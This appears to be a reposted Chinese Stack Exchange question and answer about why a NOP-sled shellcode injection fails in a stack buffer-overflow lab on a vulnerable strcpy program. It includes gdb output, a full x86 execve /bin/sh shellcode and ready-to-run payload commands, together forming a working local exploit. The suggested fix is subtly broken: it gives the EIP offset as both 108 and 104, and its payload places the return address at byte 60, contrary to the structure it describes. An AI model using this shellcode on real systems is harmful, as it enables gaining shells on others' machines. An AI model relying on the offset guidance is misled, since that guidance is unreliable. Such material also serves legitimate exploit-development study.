缓冲区溢出测试中Shellcode注入未达预期输出的问题排查
问题重现
EIP偏移验证成功
执行命令:run $(python -c 'print("A"*108 + "BBBB")')程序触发段错误,输出:
Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? ()确认EIP已被
BBBB成功覆盖。Shellcode注入异常
尝试注入包含NOP滑区、Shellcode和B填充的payload:run $(python -c 'print("\x90"*63 + "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "B" * 20)')程序触发段错误,但EIP未被B覆盖,输出:
Program received signal SIGSEGV, Segmentation fault. 0x90c290c2 in ?? ()调整参数后偶然正常运行
将NOP数量减至35,B数量增至48时,程序可正常执行Shellcode,但存在两个疑问:- 为何更多NOP+更少B的组合无法生效?
- 调试栈时看不到任何NOP:
(gdb) x/200x $esp 0xffffd2a0: 0x42424242 0x42424242 0x42424242 0x42424242 0xffffd2b0: 0x42424242 0x42424242 0x42424242 0x42424242 0xffffd2c0: 0x42424242 0x42424242 0x00424242 0x00000001 ...(后续栈内容省略)
环境信息
- Python版本:3.x
- Shellcode长度:25字节
- 已禁用ASLR
- 测试用C代码:
#include <stdio.h> #include <string.h> int main(int argc, char** argv){ char buffer[100]; strcpy(buffer, argv[1]); return 0; }
问题原因分析
Python 3
print()的编码破坏
Python 3中print()默认处理Unicode字符串,输出时会将\x90这类二进制字节按系统默认编码(如UTF-8)转换,而\x90是UTF-8的无效字节,会被替换为乱码字符,直接破坏NOP滑区和Shellcode的结构。这也是栈中看不到NOP的核心原因——实际写入栈的不是\x90,而是编码后的错误字节。Payload长度与栈布局不匹配
当NOP数量过多时,加上Shellcode和B的总长度可能超出命令行参数的字节限制,或者导致栈中EIP覆盖位置偏移,使得B无法正确覆盖EIP,反而让错误的编码字节覆盖了EIP(如0x90c290c2就是乱码字节的组合)。EIP覆盖逻辑错误
测试中用B填充EIP位置是错误的,正确做法应该是用栈中Shellcode的起始地址覆盖EIP,而非无意义的B字符。调整参数后偶然成功,只是因为长度巧合让EIP被覆盖到了包含Shellcode的栈区域。
解决方案
输出原始二进制Payload
使用Python的sys.stdout.buffer.write()输出原始字节,避免编码转换:run $(python3 -c 'import sys; sys.stdout.buffer.write(b"\x90"*35 + b"\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + b"\xXX\xXX\xXX\xXX" + b"A"*44)')其中
\xXX\xXX\xXX\xXX需替换为gdb中查到的Shellcode所在栈地址(可通过x/100x $esp-150查看缓冲区位置)。精确计算Payload长度
缓冲区为100字节,加上EBP的4字节,EIP偏移应为104字节(需根据实际栈布局调整)。Payload结构应为:NOP滑区 + Shellcode + 填充至EIP偏移 + 覆盖EIP的Shellcode地址 + 后续填充调试时确认缓冲区内容
在gdb中设置断点在strcpy之后,用x/s buffer查看缓冲区实际内容,确认Payload是否正确写入,而非直接查看$esp($esp位置不一定指向缓冲区)。
内容的提问来源于stack exchange,提问作者r3k0j

